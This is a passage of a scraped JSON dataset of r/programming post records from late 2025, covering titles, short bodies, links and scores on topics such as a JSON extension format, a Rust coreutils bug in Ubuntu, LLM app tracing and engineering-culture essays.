{
  "rowType": "post",
  "id": "t3_1om2n2k",
  "url": "https://duper.dev.br/",
  "permalink": "https://www.reddit.com/r/programming/comments/1om2n2k/duper_the_format_thats_super/",
  "title": "Duper: The format that's super!",
  "body": "An MIT-licensed human-friendly extension of JSON with quality-of-life improvements (comments, trailing commas, unquoted keys), extra types (tuples, bytes, raw strings), and semantic identifiers (think type annotations).\n\nBuilt in Rust, with bindings for Python and WebAssembly, as well as syntax highlighting in VSCode. I made it for those like me who hand-edit JSONs and want a breath of fresh air.\n\nIt's at a good enough point that I felt like sharing it, but there's still plenty I wanna work on! Namely, I want to add (real) Node support, make a proper LSP with auto-formatting, and get it out there before I start thinking about stabilization.",
  "author": "epic_eric9",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.68,
  "numComments": 74,
  "createdAt": "2025-11-01T23:42:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://duper.dev.br/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oluiof",
  "url": "https://www.youtube.com/watch?v=BgzNLgtypVs",
  "permalink": "https://www.reddit.com/r/programming/comments/1oluiof/seed7_the_extensible_programming_language/",
  "title": "Seed7 - The Extensible Programming Language",
  "body": "BTW. The Seed7 homepage has moved and is now at [https://seed7.net](https://seed7.net)",
  "author": "ThomasMertes",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.59,
  "numComments": 15,
  "createdAt": "2025-11-01T18:02:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=BgzNLgtypVs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ols6mk",
  "url": "https://linuxblog.io/digitalocean-1-cent-automation/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ols6mk/digitalocean_is_chasing_me_for_001_what_it_taught/",
  "title": "DigitalOcean is chasing me for $0.01: What it taught me about automation",
  "body": "TL;DR: A quick reminder that automation is powerful but needs thoughtful thresholds and edge-case handling to avoid unintended resource waste.\n\n**Update:** Today (2 days later), I was refunded the original $5 I added to the account back in November 2023. However, I've donated that to a cause, because I never requested a refund, and I don't have any problem with DigitalOcean ...well beyond sending too many emails for 1 cent. :)",
  "author": "modelop",
  "subreddit": "programming",
  "score": 550,
  "upvoteRatio": 0.92,
  "numComments": 85,
  "createdAt": "2025-11-01T16:29:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://linuxblog.io/digitalocean-1-cent-automation/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1olb241",
  "url": "https://github.com/IRS-Public/fact-graph",
  "permalink": "https://www.reddit.com/r/programming/comments/1olb241/irs_opensourced_the_fact_graph_it_uses_for_tax_law/",
  "title": "IRS open-sourced the fact graph it uses for tax law",
  "body": null,
  "author": "R2_SWE2",
  "subreddit": "programming",
  "score": 643,
  "upvoteRatio": 0.98,
  "numComments": 62,
  "createdAt": "2025-11-01T00:48:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/IRS-Public/fact-graph",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1okgvvr",
  "url": "https://www.honeycomb.io/blog/how-we-saved-70-cpu-60-memory-refinery",
  "permalink": "https://www.reddit.com/r/programming/comments/1okgvvr/how_we_saved_70_of_cpu_and_60_of_memory_in/",
  "title": "How We Saved 70% of CPU and 60% of Memory in Refinery’s Go Code, No Rust Required.",
  "body": null,
  "author": "phillipcarter2",
  "subreddit": "programming",
  "score": 82,
  "upvoteRatio": 0.71,
  "numComments": 50,
  "createdAt": "2025-10-31T00:47:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.honeycomb.io/blog/how-we-saved-70-cpu-60-memory-refinery",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oju0f7",
  "url": "https://open.substack.com/pub/leadthroughmistakes/p/why-we-tend-to-avoid-public-conversations",
  "permalink": "https://www.reddit.com/r/programming/comments/1oju0f7/the_private_conversation_antipattern_in/",
  "title": "The private conversation anti-pattern in engineering teams",
  "body": null,
  "author": "dymissy",
  "subreddit": "programming",
  "score": 314,
  "upvoteRatio": 0.9,
  "numComments": 160,
  "createdAt": "2025-10-30T08:18:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/leadthroughmistakes/p/why-we-tend-to-avoid-public-conversations",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ojt5m5",
  "url": "https://workweave.dev/blog/the-price-of-mandatory-code-reviews",
  "permalink": "https://www.reddit.com/r/programming/comments/1ojt5m5/the_price_of_mandatory_code_reviews/",
  "title": "The price of mandatory code reviews",
  "body": null,
  "author": "zaidesanton",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 10,
  "createdAt": "2025-10-30T07:19:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://workweave.dev/blog/the-price-of-mandatory-code-reviews",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ojmwd9",
  "url": "https://x.com/ID_AA_Carmack/status/1983593511703474196#m",
  "permalink": "https://www.reddit.com/r/programming/comments/1ojmwd9/john_carmack_on_updating_variables/",
  "title": "John Carmack on updating variables",
  "body": null,
  "author": "levodelellis",
  "subreddit": "programming",
  "score": 400,
  "upvoteRatio": 0.9,
  "numComments": 290,
  "createdAt": "2025-10-30T01:32:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://x.com/ID_AA_Carmack/status/1983593511703474196#m",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ojbu0m",
  "url": "https://medium.com/stackademic/the-80-20-guide-to-vi-editor-20-of-commands-that-do-80-of-the-work-ff1ce320f461?sk=b61c38fdc6a69ae5ba7400390964934b",
  "permalink": "https://www.reddit.com/r/programming/comments/1ojbu0m/vi_vim_editor_practical_commands_every_developer/",
  "title": "Vi /Vim Editor : Practical commands every developer, sysadmin, and DevOps engineer should know.",
  "body": "I have put together a simple guide to vi commands that actually helped me all these years when editing configs or scripts on Linux.  \nShort, practical, and focused on real examples.\n\nLet me know if I have missed some..would love to take feedbacks and make it an exhaustive list!\n\n[Read it here](https://medium.com/stackademic/the-80-20-guide-to-vi-editor-20-of-commands-that-do-80-of-the-work-ff1ce320f461?sk=b61c38fdc6a69ae5ba7400390964934b)",
  "author": "sshetty03",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.6,
  "numComments": 4,
  "createdAt": "2025-10-29T18:04:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/stackademic/the-80-20-guide-to-vi-editor-20-of-commands-that-do-80-of-the-work-ff1ce320f461?sk=b61c38fdc6a69ae5ba7400390964934b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oia68m",
  "url": "https://langfuse.com/self-hosting",
  "permalink": "https://www.reddit.com/r/programming/comments/1oia68m/debugging_llm_apps_in_production_was_harder_than/",
  "title": "Debugging LLM apps in production was harder than expected",
  "body": "I have been Running an AI app with RAG retrieval, agent chains, and tool calls. Recently some Users started reporting slow responses and occasionally wrong answers.\n\nProblem was I couldn't tell which part was broken. Vector search? Prompts? Token limits? Was basically adding print statements everywhere and hoping something would show up in the logs.\n\nAPM tools give me API latency and error rates, but for LLM stuff I needed:\n\n* Which documents got retrieved from vector DB\n* Actual prompt after preprocessing\n* Token usage breakdown\n* Where bottlenecks are in the chain\n\n**My Solution:**\n\nSet up Langfuse (open source, self-hosted). Uses Postgres, Clickhouse, Redis, and S3. Web and worker containers.\n\nThe `observe()` decorator traces the pipeline. Shows:\n\n* Full request flow\n* Prompts after templating\n* Retrieved context\n* Token usage per request\n* Latency by step\n\n**Deployment**\n\nUsed their Docker Compose setup initially. Works fine for smaller scale. They have Kubernetes guides for scaling up. [Docs](https://langfuse.com/self-hosting)\n\n**Gateway setup**\n\nAdded AnannasAI as an LLM gateway. Single API for multiple providers with auto-failover. Useful for hybrid setups when mixing different model sources.\n\nAnannas handles gateway metrics, Langfuse handles application traces. Gives visibility across both layers. [Implementation Docs](https://langfuse.com/integrations/gateways/anannas)\n\n**What it caught**\n\nVector search was returning bad chunks - embeddings cache wasn't working right. Traces showed the actual retrieved content so I could see the problem.\n\nSome prompts were hitting context limits and getting truncated. Explained the weird outputs.\n\n**Stack**\n\n* Langfuse (Docker, self-hosted)\n* Anannas AI (gateway)\n* Redis, Postgres, Clickhouse\n\nTrace data stays local since it's self-hosted.\n\nIf anyone is debugging similar LLM issues for the first timer, might be useful.",
  "author": "Silent_Employment966",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 14,
  "createdAt": "2025-10-28T14:00:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://langfuse.com/self-hosting",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oi1fsi",
  "url": "https://youtu.be/Uw692DHeah4",
  "permalink": "https://www.reddit.com/r/programming/comments/1oi1fsi/compiler_magic_and_the_costs_of_being_too_clever/",
  "title": "Compiler Magic and the Costs of Being Too Clever",
  "body": "This was inspired by the announcement of Vercel's new workflow feature that takes two TypeScript directives (\"use workflow\" and \"use step\") and turns a plain async function into a long term, durable workflow. Well, I am skeptical overall and this video goes into the reasons why.\n\nSummary for the impatient: TypeScript isn't a magic wand that makes all sorts of new magic possible.",
  "author": "stumblingtowards",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.57,
  "numComments": 18,
  "createdAt": "2025-10-28T05:40:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Uw692DHeah4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ohqf61",
  "url": "https://www.krayorn.com/posts/no_bug_policy/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ohqf61/no_bug_policy/",
  "title": "No bug policy",
  "body": null,
  "author": "_Krayorn_",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.66,
  "numComments": 55,
  "createdAt": "2025-10-27T21:01:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.krayorn.com/posts/no_bug_policy/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ogmted",
  "url": "https://youtu.be/5rb0vvJ7NCY",
  "permalink": "https://www.reddit.com/r/programming/comments/1ogmted/going_fast_is_about_doing_less/",
  "title": "going fast is about doing less",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2025-10-26T15:01:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/5rb0vvJ7NCY",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ogklk9",
  "url": "https://www.sebastiansigl.com/blog/rebuilding-search-lessons-learned",
  "permalink": "https://www.reddit.com/r/programming/comments/1ogklk9/5_hardwon_lessons_from_a_year_of_rebuilding_a/",
  "title": "5 Hard-Won Lessons from a Year of Rebuilding a Search System",
  "body": "Hey everyone,\n\nI wanted to start a discussion on an experience I had after a year of rebuilding a core search system.\n\nAs an experienced architect, I was struck by how this specific domain (user-facing search) forces a different application of our fundamental principles. It's not that \"velocity,\" \"data-first,\" or \"business-value\" are new, but their prioritization and implementation in this context are highly non-obvious.\n\nThese are the 5 key \"refinements\" we focused on that ultimately led to our success:\n\n- It's a Data & Product Problem First. We had to shift focus from pure algorithm/infrastructure elegance to the speed and quality of our user data feedback loops. This was the #1 unlock.\n- Velocity Unlocks Correctness. We prioritized a scrappy, end-to-end working pipeline to get A/B data fast. This validation loop allowed us to find correctness, rather than just guessing at it in isolation.\n- Business Impact is the North Star. We moved away from treating offline metrics (like nDCG) as the goal. They became debugging tools, while the real north star became a core business KPI (engagement, retention, etc.).\n- Blurring Lines Unlocks Synergy. We had to break down the rigid silos between Data Science, Backend, and Platform. Progress ignited when data scientists could run A/B tests and backend engineers could explore user data directly.\n- A Product Mindset is the Compass. We re-focused from \"building the most elegant system\" to \"building the most effective system for the user.\" This clarity made all the difficult technical trade-offs obvious.\n\n\nHas anyone else found that applying core principles in domains like ML/search forces a similar re-prioritization? Would love to hear your experiences.",
  "author": "Journerist",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.55,
  "numComments": 6,
  "createdAt": "2025-10-26T13:27:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.sebastiansigl.com/blog/rebuilding-search-lessons-learned",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ogbdvi",
  "url": "https://www.swift.org/blog/nightly-swift-sdk-for-android/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ogbdvi/announcing_the_swift_sdk_for_android/",
  "title": "Announcing the Swift SDK for Android",
  "body": null,
  "author": "GamerY7",
  "subreddit": "programming",
  "score": 489,
  "upvoteRatio": 0.95,
  "numComments": 101,
  "createdAt": "2025-10-26T04:18:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.swift.org/blog/nightly-swift-sdk-for-android/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ofvo8c",
  "url": "https://blog.urth.org/2025/10/25/how-good-is-claude-at-finding-bugs-in-my-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ofvo8c/how_good_is_claude_at_finding_bugs_in_my_code/",
  "title": "How Good is Claude at Finding Bugs in My Code?",
  "body": null,
  "author": "autarch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 33,
  "createdAt": "2025-10-25T16:21:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.urth.org/2025/10/25/how-good-is-claude-at-finding-bugs-in-my-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ofve2i",
  "url": "https://medium.com/@HobokenDays/software-modernization-projects-dilemma-4bd96f3c6502",
  "permalink": "https://www.reddit.com/r/programming/comments/1ofve2i/should_you_take_on_software_modernization_projects/",
  "title": "Should You Take On Software Modernization Projects?",
  "body": null,
  "author": "Exact_Prior6299",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.6,
  "numComments": 14,
  "createdAt": "2025-10-25T16:09:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@HobokenDays/software-modernization-projects-dilemma-4bd96f3c6502",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ofi1wt",
  "url": "https://github.com/sevenDatabase/SevenDB",
  "permalink": "https://www.reddit.com/r/programming/comments/1ofi1wt/benchmarks_for_a_distributed_keyvalue_store/",
  "title": "Benchmarks for a distributed key-value store",
  "body": "Hey folks\n\nI’ve been working on a project called [SevenDB](https://github.com/sevenDatabase/SevenDB) — it’s a reactive database( or rather a distributed key-value store) focused on determinism and predictable replication (Raft-based), we have completed out work with raft , durable subscriptions , emission contract etc , now it is the time to showcase the work. I’m trying to put together a fair and transparent benchmarking setup to share the performance numbers.\n\n\n\nIf you were evaluating a new system like this, what benchmarks would you consider meaningful?\n\ni know raw throughput is good , but what are the benchmarks i should run and show to prove the utility of the database?\n\n\n\nI just want to design a solid test suite that would make sense to people who know this stuff better than I do. As the work is open source and the adoption would be highly dependent on what benchmarks we show and how well we perform in them\n\nCurious to hear what kind of metrics or experiments make you take a new DB seriously.\n\n\n\n\n\n",
  "author": "shashanksati",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.55,
  "numComments": 15,
  "createdAt": "2025-10-25T04:04:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/sevenDatabase/SevenDB",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ofeinl",
  "url": "https://ssg.dev/vibe-coding-in-the-90s/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ofeinl/vibe_coding_in_the_90s/",
  "title": "Vibe coding in the 90's",
  "body": null,
  "author": "esesci",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.58,
  "numComments": 4,
  "createdAt": "2025-10-25T00:59:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ssg.dev/vibe-coding-in-the-90s/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oewzuo",
  "url": "https://2ality.com/2025/03/typescript-in-go.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1oewzuo/a_closer_look_at_the_details_behind_the_go_port/",
  "title": "A closer look at the details behind the Go port of the TypeScript compiler",
  "body": null,
  "author": "mariuz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 2,
  "createdAt": "2025-10-24T12:55:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://2ality.com/2025/03/typescript-in-go.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oeu74t",
  "url": "https://newsletter.systemdesign.one/p/stacked-diffs",
  "permalink": "https://www.reddit.com/r/programming/comments/1oeu74t/stacked_diffs_simply_explained/",
  "title": "Stacked Diffs - Simply Explained",
  "body": null,
  "author": "sdxyz42",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 16,
  "createdAt": "2025-10-24T10:32:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.systemdesign.one/p/stacked-diffs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oeiulp",
  "url": "https://lwn.net/Articles/1043103/",
  "permalink": "https://www.reddit.com/r/programming/comments/1oeiulp/bug_in_rust_coreutils_rewrite_breaks_automatic/",
  "title": "Bug in Rust coreutils rewrite breaks automatic updates in Ubuntu 25.10",
  "body": "[via Canonical:](https://lists.ubuntu.com/archives/ubuntu-security-announce/2025-October/009890.html)\n\n> Some Ubuntu 25.10 systems have been unable to automatically check for available software updates. Affected machines include cloud deployments, container images, Ubuntu Desktop and Ubuntu Server installs.\n\nThe issue is caused by a bug in the Rust-based coreutils rewrite ([uutils](https://uutils.github.io)), where `date` ignores the `-r/--reference=file` argument. This is used to print a file's `mtime` rather than display the system's current date/time. While support for the argument was [added to uutils on September 12](https://github.com/uutils/coreutils/issues/8621), the actual uutils version Ubuntu 25.10 shipped with predates this change.\n\nCuriously, the flag was included in uutils' argument parser, but wasn't actually hooked up to any logic, explaining why Ubuntu's update detection logic silently failed rather than erroring out over an invalid flag.",
  "author": "cachemissed",
  "subreddit": "programming",
  "score": 586,
  "upvoteRatio": 0.94,
  "numComments": 285,
  "createdAt": "2025-10-23T23:43:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/Articles/1043103/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oeds7s",
  "url": "https://viduli.io/blog/serverless-is-a-handicap",
  "permalink": "https://www.reddit.com/r/programming/comments/1oeds7s/serverless_is_an_architectural_handicap/",
  "title": "Serverless is an Architectural Handicap",
  "body": null,
  "author": "avin_2020",
  "subreddit": "programming",
  "score": 101,
  "upvoteRatio": 0.67,
  "numComments": 95,
  "createdAt": "2025-10-23T20:11:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://viduli.io/blog/serverless-is-a-handicap",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oe8r92",
  "url": "https://pages.haxiom.io/docs/b65b96fd-f990-4dd1-9815-d340151626ae",
  "permalink": "https://www.reddit.com/r/programming/comments/1oe8r92/java_outruns_c_while_stdfilesystem_stops_for/",
  "title": "Java outruns C++ while std::filesystem stops for syscall snacks",
  "body": "While back I was doing a concurrent filesystem crawler in many different languages and was shocked to see c++ doing worse than java. So I kinda went deeper to find out what's up with that\n\n\nTLDR; `last_write_time` calls `stat()` everytime you call it which is a syscall. Only figured it out after I straced it and rewrote the impl that only calls once and it became much faster than the Java version\n",
  "author": "ART1SANNN",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 26,
  "createdAt": "2025-10-23T17:00:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pages.haxiom.io/docs/b65b96fd-f990-4dd1-9815-d340151626ae",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1odohs4",
  "url": "https://harrisoncramer.me/15-go-sublteties-you-may-not-already-know/",
  "permalink": "https://www.reddit.com/r/programming/comments/1odohs4/15_go_subtleties_you_may_not_already_know/",
  "title": "15 Go Subtleties You May Not Already Know",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.59,
  "numComments": 5,
  "createdAt": "2025-10-22T23:54:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://harrisoncramer.me/15-go-sublteties-you-may-not-already-know/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1odhklb",
  "url": "https://github.com/donno2048/snake",
  "permalink": "https://www.reddit.com/r/programming/comments/1odhklb/my_snake_game_is_now_54_bytes/",
  "title": "My snake game is now 54 bytes",
  "body": "The game is now only 1 byte away from fitting in a version 3 QR Code.\n\nThe new version has the side effect of making the left wall do a \"kaleidoscope\" effect every time you lose.\n\nThe main change was storing the offset to the head position from end of the screen instead of from start, but also abusing the PSP in a complementary way.\n\n\nI think this [PR](https://github.com/donno2048/snake/pull/80) is pretty easy to understand as there are only 6 pretty independent major changes, switching BX and SI, the two mentioned earlier, position reset method, new head position calculation, different snake character setting, all the changes are needed together to reduce the size but you can understand them one by one.\n",
  "author": "Perfect-Highlight964",
  "subreddit": "programming",
  "score": 2575,
  "upvoteRatio": 0.98,
  "numComments": 166,
  "createdAt": "2025-10-22T19:13:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/donno2048/snake",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oceqo7",
  "url": "https://medium.com/@galiullinnikolai/applying-big-o-notation-to-software-design-change-complexity-1ab523ed71b5",
  "permalink": "https://www.reddit.com/r/programming/comments/1oceqo7/applying_big_o_notation_to_software_design_change/",
  "title": "Applying Big O Notation to Software Design: Change Complexity",
  "body": null,
  "author": "EgregorAmeriki",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 0,
  "createdAt": "2025-10-21T14:39:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@galiullinnikolai/applying-big-o-notation-to-software-design-change-complexity-1ab523ed71b5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oca0wr",
  "url": "http://prototypefund.de/en/application",
  "permalink": "https://www.reddit.com/r/programming/comments/1oca0wr/we_fund_open_source_developers_with_up_to_158000/",
  "title": "We fund open source developers with up to 158.000 € - ask us anything over on r/opensource!",
  "body": "Hey everybody, \n\nwe are the [Prototype Fund](https://www.prototypefund.de/) and our main goal is to support the open source community by funding open source developers and small teams. We provide up to 158.000 € for each project alongside coachings, networking and consulting. Our goal is to fund new ideas in the open source space and provide them with the resources needed to get to a prototype status - hence the name. We exclusively fund software projects in the public interest that are freely available, sustainably accessible and customizable as open source software.\n\nWe're doing an Ask-Me-Anything over on r/opensource, so feel free to ask us any questions there and we will answer them this afternoon (5pm to 6pm CEST, UTC+02:00):  \n[https://www.reddit.com/r/opensource/comments/1oc9tjn/ama\\_we\\_fund\\_free\\_open\\_source\\_software\\_with\\_up\\_to/](https://www.reddit.com/r/opensource/comments/1oc9tjn/ama_we_fund_free_open_source_software_with_up_to/)\n\n",
  "author": "ptf_pr",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.53,
  "numComments": 0,
  "createdAt": "2025-10-21T11:08:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://prototypefund.de/en/application",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1obk87w",
  "url": "https://www.forbes.com/sites/kateoflahertyuk/2025/10/20/aws-outage-what-happened-and-what-to-do-next/",
  "permalink": "https://www.reddit.com/r/programming/comments/1obk87w/its_always_dns/",
  "title": "It's always DNS",
  "body": null,
  "author": "Ulyssesp",
  "subreddit": "programming",
  "score": 500,
  "upvoteRatio": 0.95,
  "numComments": 61,
  "createdAt": "2025-10-20T14:21:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.forbes.com/sites/kateoflahertyuk/2025/10/20/aws-outage-what-happened-and-what-to-do-next/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1obh3t2",
  "url": "https://open.substack.com/pub/thehustlingengineer/p/8-lessons-i-learned-the-hard-way?r=yznlc&utm_medium=ios",
  "permalink": "https://www.reddit.com/r/programming/comments/1obh3t2/8_lessons_i_learned_the_hard_way_from_8_years_as/",
  "title": "8 Lessons I Learned the Hard Way from 8 Years as a Software Engineer",
  "body": null,
  "author": "thehustlingengineer",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.6,
  "numComments": 5,
  "createdAt": "2025-10-20T11:58:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
